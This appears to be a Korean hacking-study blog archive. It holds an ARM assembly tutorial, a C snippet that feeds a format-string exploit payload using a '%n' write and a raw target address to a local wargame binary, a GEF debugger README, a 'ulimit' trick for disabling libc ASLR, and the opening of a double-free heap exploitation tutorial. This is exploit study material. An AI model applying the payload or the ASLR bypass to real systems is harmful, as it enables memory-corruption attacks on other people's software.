LDR R0, =0x12345678 ; legal (build success)
MOV R0, #0x104 ; legal
MOV R0, #0x102 ; illegal 

위의 예제에서 0x12345678 값을 LDR 명령어를 사용하면 제약 없이 사용이 가능한 것을 알수 있습니다. LDR명령어를 사용하는 것이 편해보이기는 하지만 메모리에 접근하기 때문에 속도는 많이 느려지겠지요..

7.6 Load/Store Multiple Instructions

LDR, STR 명령어와 기능은 동일 하지만 Rn레지스터 값이 가르키는 메모리 위치애 여러개 레지스터 값들을 저장 할 수 있습니다. 

(1) Syntax
LDM{cond}{addr_mode} Rn{!}, <register_list>{^}
STM{cond}{addr_mode} Rn{!}, <register_list>{^} 

(2) Addressing Mode 
- IA : increment after
- IB : increment before
- DA : decrement after
- DB : decrement before 

(3) Examples

* 레지스터 값들 

R0 = 0x000A

R4 = 0x000B

R5 = 0x000C

R13 = 0xFFF0


STMIA R13!, {R0,R4-R5} 연산의 결과는 ?

 

STMIB R13!, {R0,R4-R5} 연산의 결과는 ?



STMDA R13!, {R0,R4-R5} 연산의 결과는 ?




STMDB R13!, {R0,R4-R5} 연산의 결과는 ?



참고로 ARM Compiler는 Stack 동작시 Full Descending Stack 방식으로 동작 하고 있습니다. STMDA 명령어와 동일한 방식 입니다. 즉 Stack Pointer는 항상 유효한 데이터를 가르키고 있고 주소가 감소하는 방향으로 저장이 됩니다.

- Stack 에서 PUSH, STMDB 대신에 아래와 같이 사용이 가능 합니다.
STMFD SP!, {R4-R12, LR}


- Stack 에서 POP, LDMIA 대신에 아래와 같이 사용이 가능 합니다.
LDMFD SP!, {R4-R12, PC}
LDMFD SP!, {R0-R12, PC}^

"^" 연산자는 목적지의 레지스터(Rd)가 PC인 경우에 SPSR을 CPSR로 북구까지 하라는 명령 입니다.

7.7 Branch Instructions

혹시 서브 함수와 서브 프로시져의 차이점을 알고 있나요 ? 2가지 모두 메인 프로그램 흐름에서 벗어(분기하여)나 특정 작업을 수행하는 것은 동일 합니다. 하지만 엄밀하게 차이점을 이야기 하면 서브 프로시져는 분기 이후에 분기하기 이전의 흐름으로 되돌아 오지 않고 분기한 주소에서 부터 프로그램 수행이 계속 될 경우에 사용을 하고 서브 함수는 분기한 주소에서 특정 작업을 수행하다가 분기 이전의 주소로 복귀하여 프로그램을 수행 하도록 합니다. 설명이 길어 졌네요. 그림을 통해서 차이점을 구분해 보도록 합시다.

* 서브 프로시져 호출시 프로그램 흐름 


* 서브 함수 호출시 프로그램 흐름 




(1) Syntax
B{L}{cond} <target_addr>
target_addr <-- pc + SignExtended(immed_24)<<2

- 여기서 PC는 Pipeline 에서 설명 했드시 Branch Instruction 의 주소에서 8을 더한 위치가 됩니다. 

(2) Branch Range
-32MB ~ +32MB

분기 범위가 +- 32MB 까지로 제한이 되는 이유는 2^24 = 16MB << 2 를 하면 64MB 이고 이를 +- 로 하면 32MB 까지가 되는 것입니다.

(3) Examples
B Label 
MOV PC, #0
MOV PC, LR

레제스터 R15(PC) 에 직접 분기할 주소를 저장하여도 분기가 가능 합니다.

LDR PC, =func

참고로 LDR 명령어를 사용하면 Branch명령어를 사용했을때보다 1가지 잇점이 있는데 4GB이내에서는 어디든지 분기가 가능 하다는 것입니다.
Branch 명령어의 분기 range는 -32MB ~ +32MB의 제약이 있습니다. 물론 메모리에서 주소를 읽어와야 하므로 성능면에서는 좋지 않겠지요.

(5) 함수 호출(BL)
- 함수 호출시
BL func --> B 명령어와 다른점은 LR레지스터에 PC-4 의 Address값이 H/W적으로 저장이 됩니다.

- ARM 모드 함수 종료시
MOV PC, LR --> LR 에는 이미 BL 명령어의 주소 +4 의 값이 저장이 되어 있어 BL 명령어 다음부터 명령을 수행할 수 있도록 합니다.

- Thumb 모드 함수 종료시
BX LR

(6) Subsequent Function Calls
함수안에서 함수를 다시 호출을 하면 어떤일이 발생을 할가요. 예제 코드를 가지고 분석해 보도록 하겠습니다.

 
위의 예제에서 서브함수를 호출하고난 이후에 main 루틴에 있는 R2에는 #3이 저장이 되어 있어야 합니다. 언뜻 보기에 #11이 저장이 되어 있을것 같습니다.
R0, R1은 func1에서 각각 #3, #4 가 저장이 되고 func2를 거치면서 #5, #6이 저장이 됩니다. 그래서 #11이 될것이라고 예상이 될수 있지만 사실은 func1의 ADD 명령어만 반복해서 실행이 될것입니다. 왜냐하면 main에서 func1으로 branch할때까지는 LR에는 BL명령어 Address+4 가 저장이 되고 func1에서 func2로 분기 할때 다시 LR에는 func2로 분기하는 BL명령어 Address+4가 저장이 되어 최종 func2에서 MOV PC, LR 을 실행을 하면 func1의 ADD 명령어로 PC가 이동을 하고 다시 func1에서 MOV PC, LR 이 실행이 되면 LR 값에 의해서 다시 func1의 ADD 명령어가 반복해서 실행이 될것입니다. 조금 복잡한듯 하지만 잘 따라가 보면 알 수 있습니다. 이 예제에서 알수 있는것은 서브 함수를 호출할 경우에는 서브함수내에서 반드시 LR과 서브함수에서 사용할 레지스터들을 Stack에 백업을 하고 서브함수에서 복귀전에 다시 Stack에서 복원을 해야 한다는 것을 알 수 있습니다. 그러면 위의 예제를 main 루틴에 있는 R2에 #3이 저장이 되도록 수정을 하면 어떻게 될까요 ?



위의 그림에서 MOV SP, #98304 를 하는 이유는 Stack을 사용하기 위해서 Supervisor 모드의 Stack 포인터를 초기화 하는 것입니다. 참고로 Stack 포인터의 주소는 실제 타겟마다 다를 수 있습니다. Stack 포인터는 주로 시스템의 주 메모리에 위치 합니다.

(7) Veneer
베니어라는 용어가 나오네요. 혹시 베니어 합판 이라는 말을 들어 보셨나요? 작은 나무 조각들을 겹겹이 붙여서 만든 합판 입니다. 여기 나오는 Veneer라는 개념이 흡사 베니어 합판을 만드는것과 유사한것 같습니다. 사실 Veneer라는 것은 ARM의 특성은 아니고 컴파일러에서 지원하는 기능 입니다.원래 B, BL 등의 분기 명령어는 -32MB ~ 32MB 범위내에서 분기가 가능하다고 하였습니다. 하지만 아래 그림과 같이 MyFunc2을 호출할때 컴파일러에서 자동으로 Veneer라는 중간 분기점을 만들어서 32MB 범위를 벗어나도 서브 함수를 호출 가능하도록 만들어 줍니다.

 

위의 기능 이외에도 추가로 아래와 같은 기능이 있습니다.

- ARM to ARM or Thumb to Thumb 으로 분기 : Long branch capability 
- ARM to Thumb or Thumb to ARM 으로 분기 : Long branch capability and interworking capability 

7.8 Status Register Access Instructions

(1) Syntax
MRS{cond} Rd, CPSR ; CPSR의 값을 Rd 레지스터로 읽어 옵니다.
MRS{cond} Rd, SPSR ; SPSR의 값을 Rd 레지스터로 읽어 옵니다.

MSR{cond} CPSR_<fields>, #<immediate>
MSR{cond} CPSR_<fields>, <Rm> ; Rm 레지스터의 값을 CPSR에 저장 합니다.
MSR{cond} SPSR_<fields>, #<immediate>
MSR{cond} SPSR_<fields>, <Rm> ; Rm 레지스터의 값을 SPSR에 저장 합니다.

이전에도 설명 했지만 CPSR 레지스터의 구조를 다시한번 확인 바랍니다.

소프트웨어 구성

(2) Examples

- IRQ 를 Enable 하는 코드 입니다. 

아래 명령어 들이 수행되는 동안의 CPSR레지스터의 변화값을 확인해 보시기 바랍니다.

MRS R0, CPSR
BIC R0, R0, #0x80 ; 7번 비트를 clear 하면 인터럽트가 활성화 됩니다.
MSR CPSR, R0

소프트웨어 구성소프트웨어 구성

BIC, MSR 명령에 의해서 CPSR의 I 가 "0" 으로 변경(Unmask) 되어 Interrupt가 가능하게 되었습니다. 참고로 CPSR_fc 와 CPSR은 같은 레지스터 입니다.

소프트웨어 구성

- IRQ 를 Disable 하는 코드 입니다. 
MRS R0, CPSR
ORR R0, R0, #0x80 ; 7번 비트를 set 하면 인터럽트를 사용할 수 없습니다.
MSR CPSR, R0

간혹 MSR_c, MRS_x 등으로 사용되는 예제들이 있는데 밑줄 다음에 오는 flag의 의미는 아래와 같습니다. 그리고 밑줄 다음의 _c, _x 등은 의미를 명확하게 하기 위해서 사용하는 것일뿐 생략해도 아무 문제가 되지는 않습니다.
c = PSR[7:0]
x = PSR[15:8]
s = PSR[23:16]
F = PSR[31:24] 

7.9 Software Interrupt Instruction


(1) Syntax
SWI{cond} <immed_24>

SEI 명령어는 S/W 적으로 강제적으로 ARM에 IRQ 예외를 발생 시킵니다. 주로 OS에서 User application들이 운영체제 서비스 루틴을 호출할 경우에 특권모드에서 콜하기 위해서 많이 사용됩니다.

(2) Examples
SWI #0x123456

7.10 SWP Instruction

(1) Syntax
SWP{cond}{B} Rd, Rm, [Rn]

(2) Operation
Temp <-- [Rn]
[Rn] <-- Rm
Rd <-- Temp 

(3) Semaphore Instruction
명령어 수행중에 인터럽트없이 메모리의 Read, Write 를 할 수 있는 Atomic 동작을 할수 있습니다. Atmoic이라는 용어가 나오는데요, 이것은 어떤 동작을 1개의 오퍼레이션으로 완료하는 것을 의미합니다. 즉 Atmoic 오퍼레이션이 수행되는 동안에는 인터럽트가 발생하지 않는 것입니다. 

(4) Examples

R0 = 0x01
R1 = 0x02
R2 = 0x31000000

 

레지스터의 값들이 위와 같을때 아래 예제들을 차례대로 수행 했을때의 각각의 레지스터 값은 ?

SWP R0, R1, [R2]

R2 가 가르키는 주소(0x31000000)의 값 0x78563412의 값이 R0에 저장이 되었고, 

 

R1의 값 0x02가 R2가 가르키는 0x31000000 메모리에 저장이 되었습니다. 



아래의 예는 바이트 명령어 입니다. SWPB 명령어를 사용했을 경우 R0 에는 어떤 값이 저장이 될까요 ?

SWPB R0, R1, [R2]

 



동작은 SWP와 동일하고 단지 바이트 단위로 SWP가 된다는 것만 다릅니다. 위의 그림들을 참조 하시기 바랍니다. 


7.11 Conditional Execution

ARM모드 에서 굉장이 강력한 기능으로 명령어들을 특정 조건이 만족했을 때에만 실행 시킬 수 있습니다. 이렇게 조건부 실행이 가능하면 성능면에서 아래와 같은 잇점이 있습니다.

- Increase code density
- Decrease the number of branches 

Thumb모드에서는 분기명령어 이외에는 이 조건부 실행 기능을 사용할 수 없습니다. 그 이유는 명령어의 길이가 Thumb 모드에서는 16bit로 제한이 되어서 조건부 실행을 할만큼 레지스터 공간이 충분하지 못하기 때문입니다. 그러면 실행 가능한 조건이라는 것은 어떤것들이 있을까요? 
ARM 명령어 설명할때 맨처음에 나왔던 그림인데요아래 그림을 보고 실행 조건에 대해서 설명하도록 하겠습니다. 



< Cond >
해당 명령의 조건 실행 플래그입니다. 데이터 프로세싱 명령어에도 당연히 포함됩니다.
해당 플래그를 통해 명령을 현재 플래그 레지스터(CPSR)의 상태에 따라 실행 여부를 결정하는데 사용되는 플래그입니다. 

ARM 명령어의 길이는 32bit라고 하였습니다. 32bit중에서 4bit를 조건부 실행을 하는데 할당하고 있습니다. [31:28] bit가 바로 <Cond> 비트 입니다.
그리고 <Cond> 필드에 올수 있는 것들은 아래 표와 같습니다. 

CondMnemonicMeaningCondition flag state
0000EQEqualZ = 1
0001NENot EqualZ = 0
0010CS/HSCarry set / unsigned >=C = 1
0011CC/LOCarry clear / unsigned <C = 0
0100MIMinus/NegativeN = 1
0101PLPlus/Positive or ZeroN = 0
0110VSOverflowO = 1
0111VCNo overflowO = 0
1000HIUnsigned higherC = 1 & Z = 0
1001LSUnsigned lower or sameC = 0 | Z = 1
1010GESigned >=N == V
1011LTSigned <N != V
1100GTSigned >Z == 0, N == V
1101LESigned <=Z == 1 or N! = V
1110ALAlways 
1111(NV)Unpredictable 

참고로 우리가 지금까지 사용해 왔던 MOV, ADD 명령어 뒤에 Mnemonic 없이 사용을 하면 "Always" 가 적용되어서 실행이 된 것입니다.

(1) Condition Flag Change

Condition Flag변경은 Data Processing Instructions 에 의해서만 영향을 받으면 명령어 뒤에 "S" Prefix를 사용해야만 합니다.
Condition Flag는 CPSR레지스터의 [31:24] 비트 필드에 정의 되어 있습니다. 

소프트웨어 구성 

설명이 조금 복잡한가요. 예제를 통해서 살펴 보도록 합시다.

(1) Examples1
NZCV 플래그가 변화하는 예제 들입니다. 여기서 N(Negative), Z(Zero result) 까지는 명확한것 같은데 Carry, Overflower 는 어떻게 다른 것일 까요 ?
아래 예제들을 수행하면서 차이점을 비교해 보시기 바랍니다.

소프트웨어 구성 소프트웨어 구성

- N : 연산의 결과 R2(0x40000000)의 최상위 비트가 "1" 이 아님
- Z : 연산의 결과 R2가 0x0 이 아님
- C : 32-bit 를 넘어 섰으므로 Carry 가 발생
- V : ARM 에서 Overflow 를 검출하는 방식은 MSB 이전 비트에서 발생한 Carry("0" 과 "1" 을 더해도 Carry가 발생하지 않았으므로 "0")와 MSB에서 발생한 Carry("1" 과 "1" 을 더해서 Carry 가 발생 했으므로 "1")의 값이 달라지는 경우에 Overflow가 검출 됩니다. 

소프트웨어 구성 소프트웨어 구성

- N : 연산의 결과 R2(0x00000000)의 최상위 비트가 "0" 이므로 Negative 발생하지 않음
- Z : 연산의 결과 R2가 0x0 이므로 세팅
- C : 32-bit 를 넘어 섰으므로 Carry 가 발생
- V : MSB 이전 비트에서 발생한 Carry("0" 과 "0" 을 더해도 Carry가 발생하지 않았으므로 "0")와 MSB에서 발생한 Carry("1" 과 "1" 을 더해서 Carry 가 발생 했으므로 "1")의 값이 달라지는 경우에 Overflow가 검출 됩니다. 

소프트웨어 구성 소프트웨어 구성 

- N : 연산의 결과 R2(0x80000000)의 최상위 비트가 "1" 이므로 Negative 발생
- Z : 연산의 결과 R2가 0x0 이 아님
- C : 32-bit 를 넘어 섰으므로 Carry 가 발생
- V : MSB 이전 비트에서 발생한 Carry("1" 과 "1" 을 더해서 Carry가 발생했으므로 "1")와 MSB에서 발생한 Carry("1" 과 "1" 을 더해서 Carry 가 발생 했으므로 "1")의 값이 다르지 않으므로Overflow가 검출 되지 않습니다. 


(2) Examples2

ADD R0, R1, R2 --> does not update the flags( "S" Prefix 가 없음 )
ADDS R0, R1, R2 --> update the flags ( "S" Prefix 가 있음 )

소프트웨어 구성 

SUBS R2, R1, R0 -- SUBS 명령 실행 이후에 CPSR의 condition flag가 업데이트 됩니다.
ADDEQ R3, R1, R0 -- condition field 에 Z flag 가 Set 되어 있으면 실행이 되고 그렇지 않으면 NOP(단순히 CPU의 1Clock을 소비)명령이 실행 됩니다.
condition field 에 Z flag 가 Set 되었다는 의미는 R1, R0 의 값이 같아서 R3에 "0" 이 저장이 되었다는 의미 입니다.

참고로 CMP, TST, CMN, TEQ instructions 등의 비교, 검사 명령어 들은 "S" Prefix 가 없이도 CPSR의 condition flag 가 업데이트 입니다.

다음 구문을 Conditional Execution을 사용했을 경우와 안했을 경우로 구분해서 비교해 보세요.

if(a==0) a = a + 1;
else a = a – 1;

Non Conditional ExecutionConditional Execution
      cmp r0, #0
      bne AAA
      add r0, r0, #1
      b BBB
AAA
      sub r0, r0, #1
BBB
cmp r0, #0
addeq r0, r0, #1
subne r0, r0, #1

5 instructions
1 branch execution
3 instructions
0 branch execution

조건부 명령을 사용함으로서 instructions 을 2개나 줄였고 가장 중요한 것은 branch 명령없이 구현을 했다는 것입니다.
branch 명령은 ARM pipeline을 무너뜨리기 때문에 성능에서 굉장히 치명적입니다. 

8. Thumb Instruction Sets
Thumb 명령어는 ARM 명령어에 비해서 16bit라는 명령어의 길이 때문에 많은 제약이 있습니다. 가장 단점은 조건부 실행 명령을 사용할 수가 없다는 것입니다.
Thumb 명령어는 ARM을 이해하는 있어서 큰 부분을 차지하지는 않다고 생각 되기 때문에 간단하게 특성 정도만 확인하고 넘어 가도록 하겠습니다.

8.1 Thumb Instruction 특징
(1) 16-bit length instruction set
(2) ARM 명령어보다 코드의 집적도가 높습니다.( about 65% of ARM instruction )
(3) 일반적으로는 32bit ARM명령어 보다는 속도가 느리지만 16bit memory 시스템에서는 그렇지 않을 수도 있습니다.

소프트웨어 구성

8.2 Thumb Instruction 제약 사항

- Limited Access to Registers : R0-R7 registers are accessible.
- Narrow Range of Immediate Value
- Not Flexible for Exception Mode
- Exception Handler should be executed in ARM mode. : Exception이 발생하면 항상 ARM 모드로 전환이 됩니다.
- Limited conditional instruction.
- Branch instructions can be executed conditionally.
- Inline Barrel Shifter is not used. 

8.3 Thumb, ARM Instruction 비교

아래 코드를 ARM 명령어와 Thumb 명령어로 작성하고 비교해 보시기 바랍니다.

if(x>=0) return x;
else return –x;

ARM InstructionThumb Instruction
abs_rtn
      CMP r0, #0
      RSBLT r0, r0, #0
      MOV pc, lr
abs_rtn
      CMP r0, #0       
      BGE return
      NEG r0 r0
return
      MOV pc, lr
- Instructions : 3
- Size : 12Bytes
- 16-bit bus : 6access
- 32-bit bus : 3access
- Instructions : 4
- Size : 8Bytes
- 16-bit bus : 4access
- 32-bit bus : 4access

위의 표에서 16-bit bus 일경우의 access 횟수를 보면 오히려 Thumb 명령어가 효율을 보이기도 합니다.

8.4 ARM/Thumb Interworking

ARM 모드와 Thumb 모드를 같이 사용 할 수가 있습니다. 하지만 동시에 명령어 들을 섞어서 사용할 수 있는것은 아니고 ARM 모드에서 BX branch명령어에 의해서 Thumb 모드로 전환을 할수가 있고 다시 Thumb 모드에서 BX 명령어를 이용해서 ARM 모드로 복귀 할 수 있습니다. 

(1) BX Instruction 
BX{cond} Rm
CPSR.T <-- Rm[0], PC <-- Rm & 0xFFFFFFFE 

BX명령어는 일반 분기명령어와 비슷한것 같지만 조금 다릅니다. 이유는 32bit ARM 모드에서 Thumb 모드로 전환을 할때 32bit 명령어 에서 16bit 로 변경되면서 PC의 주소 증가하는 값이 4byte에서 2byte로 바뀌기 때문에 그런 것입니다. 당연히 Thumb 모드에서 ARM 모드로 다시 복귀 할때는 반대의 경우 이겠죠? 조금 어렵죠 ? 예를 들어서 설명 하도록 하겠습니다. 

소프트웨어 구성


위의 그림에서 붉은 박스를 잘 보시면 armcode 부분은 32비트 코드 사이즈이고, thumbcode 부분은 16비트 길이의 코드 사이즈임을 알 수 있습니다.
0x5C address의 코드 BX, R0 코드가 수행이 되었을때 레지스터의 상태를 보면 아래와 같습니다.

thumbcode 가 시작되는 주소는 0x6C 인데, armcode의 "BX, R0(0x6d)" 코드에 의해서 0x6C가 아닌 0x6D 로 분기 하라고 되어 있습니다. 올바르게 수행이 될까요 ? 물론 잘 수행이 됩니다. 이것의 비밀은 위에서 설명한 "CPSR.T <-- Rm[0], PC <-- Rm & 0xFFFFFFFE" 에 있습니다. 
우선 CPSR.T = 1 로 변경이 되는 것은 Rm(1101101) 의 최하위 비트가 "1" 이기 때문입니다. 또한 Rm(1101101) & 0xFFFFFFFE 에 의해서 실제 BX분기 명령어에 의해서 분기되는 주소는 0x6C 가 됩니다. BX 명령어에서 Rm(1101101) & 0xFFFFFFFE 해서 분기를 하는 이유는 ARM 모드(32비트)이건 Thumbmode(16비트) 이건 PC의 주소를 항상 2의 배수를 유지 하기 위해서 입니다. 

소프트웨어 구성 


9. AAPCS
9.1 Procedure Call Standard for the ARM Architecture

쉽게 이야기 하면 ARM에서 서브 루틴을 호출할때의 레지스터, 스택 사용 방법에 대한 것입니다. 아래 표는 Procedure call시 사용되는 레지스터들을 표로 정리한 것입니다. 

RegisterSynonymSpecialRole in ther procedure call standard
r15 PCProgram Count
r14 LRLink Register
r13 SPStack Pointer
r12 IPThe Intra-procedure-call scratch register
r11v8 Variable register8
r10v7 Variable register7
r9v6 Variable register6
Platform register 
Ther meaning of the register is defined by the platform standad
r8v5 Variable register5
r7v4 Variable register4
r6v3 Variable register3
r5v2 Variable register2
r4v1 Variable register1
r3a4 Argument / scratch register4
r2a3 Argument / scratch register3
r1a2 Argument / scratch register2
r0a1 Argument / result / scratch register1

* 참고로 scratch register들은 서브루틴 호출시 변경이 있을 수 있는 위험이 있는 레지스터 입니다. 그러므로 서브루틴 호출시 Stack에 백업한 이후 서브루틴을 호출 해야 합니다.

위의 표에서 알수 있는 것은 함수를 호출할때 함수의 인자 4개 까지는 r0 ~ r3에 저장이 되어 호출이 되고 함수 에서 return에 의한 결과 값은 r0에 담아서 함수를 호출한 메인 함수로 값을 전달하고 있음을 알수 있습니다. 그럼 함수의 인자가 4개 이상인 경우에는 어떻게 되는 것일까요? 5번째 인자 부터는 Stack에 저장한후 함수 에서 POP해서 사용합니다. Stack은 메인 메모리를 사용하므로 가능하면 함수 인자는 4개 까지만 사용하는 것이 성능 향상에 도움이 됩니다.


9.2 Function Parameter Passing


void main(void)
{
      int sum;

      // R0 레지스터에 a+b+c+d+e 의 합이 저장되어 return이 됩니다.
      sum = func1(0, 1, 2, 3, 99);
}

int a --> R0
int b --> R1
int c --> R2
int d --> R3
int e --> Stack 
Return Value --> R0 

int func1(int a, int b, int c, int d, int e)
{
      return a+b+c+d+e;


위의 C 코드를 Disassembly 해보면 다음과 같습니다. 오른쪽 설명을 참조 하시기 바랍니다. 

소프트웨어 구성
 
    
    


Posted by k1rha
2015. 4. 24. 19:13

  int main(int argc, char* argv[]) {                                                                          │~                                                                                                                        

        //char *cmd[] = {"a.out","AA","BB","CC","DD","FF"}; //execv("/home/babo/fsb",cmd);                  │~                                                                                                                        

        //execl("/home/babo/fsb/a.out", "a.out", "AA","BB","CC","DD","EE","FF", (char*) 0);                 │~                                                                                                                        

                                                                                                            │~                                                                                                                        

        execl("/home/babo/fsb/a.out", "a.out", "%.u200%278$n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n│~                                                                                                                        

%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n│~                                                                                                                        

%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n│~                                                                                                                        

%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n│~                                                                                                                        

%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n│~                                                                                                                        

%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n│~                                                                                                                        

%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n│~                                                                                                                        

%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n│~                                                                                                                        

%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n│~                                                                                                                        

%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n│~                                                                                                                        

%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n│~                                                                                                                        

%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n│~                                                                                                                        

%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n│~                                                                                                                        

%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n│~                                                                                                                        

%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n","\x4c\xdd\xff\xff\xff\x7f"│~                                                                                                                        

,"","\xaa\xbb\xbb\xbb","\xbb", (char*) 0);                                                                  │~                                                                                                                        

}                                                                                                           │~                

  execl 로 

  인자 "","" 이렇게 튀기면 결론은 00 00 00 들어감

  "" <-- 00 의미

  "" 와 "" 사이는 00 이 자동 반사로 들어감

  그래서 00 00 00

Posted by k1rha
2015. 4. 1. 09:44

https://github.com/hugsy/gef


GEF - GDB Enhanced Features

GEF is aimed to be used mostly by exploiters and reverse-engineers. It provides additional features to GDB using the Python API to assist during the process of dynamic analysis or exploit development.

GEF fully relies on GDB API and other Linux specific source of information (such as /proc/pid). As a consequence, some of the features might not work on custom or harden systems such as GrSec. It has fully support for Python2 and Python3 indifferently (as more and more distro start pushing gdbcompiled with Python3 support).

But why not PEDA?

Yes ! Why not ?! PEDA is a fantastic tool to do the same, but is only to be used for x86-32 or x86-64. On the other hand, GEF supports all the architecture supported by GDB (x86, ARM, MIPS, PowerPC, SPARC, and so on). I love PEDA and use it litterally all the time whenever I'm facing a Intel binary. And so should you. But being Intel only prevents from having fun with other architectures.

Show me

x86

gef-x86

ARM

gef-arm

PowerPC

gef-ppc

Mips64

gef-mips

Enough, I wanna try it

Simply make sure you're having a GDB 7+.

$ git clone https://github.com/hugsy/gef.git
$ echo source /path/to/dir/gef.py > ~/.gdbinit
$ gdb -q /path/to/my/bin

Then just start playing:

gef> gef help

Dependencies

GEF works out of the box. However, to enjoy all the coolest features, it is recommended to install:

Note: if you are using GDB with Python3 support, you cannot use ROPgadget as Python3 support has not implemented yet. Capstone and radare2-python will work just fine.

Another noteCapstone is packaged for Python 2 and 3 with pip. So a quick install is

$ pip2 install capstone    # for Python2.x
$ pip3 install capstone    # for Python3.x

Bugs & Feedbacks

Go here

Happy hacking


Posted by k1rha
2015. 3. 2. 19:24


A good thing is that we have a neat trick to disable libc ASLR:

$ ulimit -s unlimited

$ ldd ./X79

        linux-gate.so.1 =>  (0x40020000)

        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x4003a000)

        /lib/ld-linux.so.2 (0x40000000)

$ ldd ./X79

        linux-gate.so.1 =>  (0x40020000)

        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x4003a000)

        /lib/ld-linux.so.2 (0x40000000)


충경과 공포..


http://leetmore.ctf.su/wp/ifsf-ctf-2012-9-x97/

Posted by k1rha
2015. 3. 2. 17:23



저장용  : 출처 : view-source:http://www.hackerschool.org/HS_Boards/data/Lib_system/dfb_leon.txt



해킹기법 (Double Free Bug) 


Format String Bug 와 함께 제 3세대 해킹기법이라 불리우는 더블프리버그에 관하여 공부해보겠다.

본 기법은 Heap Base Overflow의 기법을 기본전제로 한다.(모르면 우선 공부하시고 오세용)


1. Heap 그 화려한 변신


우리는 앞서 Overflow기법을 공부함에 있어서 Heap영역의 Overflow를 공부한적이 있다.

그러나 Stack영역과는 달리 Heap영역의 Over는 우리가 원하는 권한획득과정에서 RET나 기타 ELF영역의 실행가능한 코드를 변조하는데 다소 어려움이 있었다. 이러한 이유로 인하여 Heap에대한 냉대(?)와 멸시(?)는 해커들 사이 공공연한 사실이였다...ㅋㅋㅋ


그러나 2002년초 냉대와 멸시에서 떨쳐일어나 Heap의 반란이 시작되는데...



2. free / malloc의 이해


프로그램중 Heap영역은 흔히 잠시 저장하였다가 프로그램흐름에 도움을 주는 아주 중요한 공간이다.

이러한 heap 영역의 정의는 calloc(), malloc(), realloc() 등의 함수를 통하여 구현되며 사용된 메모리를 반환 할때는 free() 함수로서 반환하게 된다.


잠시 man page를 보도록 하자..


$ man malloc


MALLOC(3)           Linux Programmer's Manual           MALLOC(3)


NAME

      calloc, malloc, free, realloc - Allocate and free dynamic memory


SYNOPSIS

      #include <stdlib.h>


      void *calloc(size_t nmemb, size_t size);

      void *malloc(size_t size);

      void free(void *ptr);

      void *realloc(void *ptr, size_t size);


DESCRIPTION

      calloc()  allocates  memory  for  an  array  of  nmemb elements of size bytes each and

      returns a pointer to the allocated memory.  The memory is set to zero.


      malloc() allocates size bytes and returns a pointer to the allocated memory.  

      The memory is not cleared.


      free()  frees  the  memory space pointed to by ptr, which must have been returned by a

      previous call to malloc(), calloc() or realloc().   Otherwise,  or  if  free(ptr)  has

      already  been called before, undefined behaviour occurs.  If ptr is NULL, no operation

      is performed.

~

~

~

GNU

(END)



man page에서도 볼수 있듯이 malloc함수는 동적으로 메모리를 할당(Allocate dynamic memory)해주는 함수 임을 알수있고 또한 메모리를 사용후 반환해주는 과정(Free dynamic memory)을 free함수를 거치면서 수행하게된다.


간단한 예제를 보도록 하자.


//test1.c

#include <stdio.h>


main(int argc, char *argv[])

{

       char *mol;


       mol = malloc(128);


       if ( argc< 2)

       { fprintf(stderr, "error args\n" );

       exit(0); }


       strcpy( mol , argv[1] );


       printf ("mol : %s , 0x%x\n",mol,mol);

       free(mol);


}


$./test1 aaaa


mol : aaaa , 0x80497b8


간단하게 malloc 함수를 이용해서 heap영역 주소 0x80497b8 에 aaaa라는 스트링을 입력한것을 볼수 있었다. 


3. malloc에 의한 동적메모리의 구조


자 그럼 malloc으로 구현된 메모리의 구조는 어떻게 생겨먹었을까?

우리의 영원한 분석도구 dumpcode.h를 이용하여 구경좀 해보자..


//test2.c

#include <stdio.h>

#include "dumpcode.h"


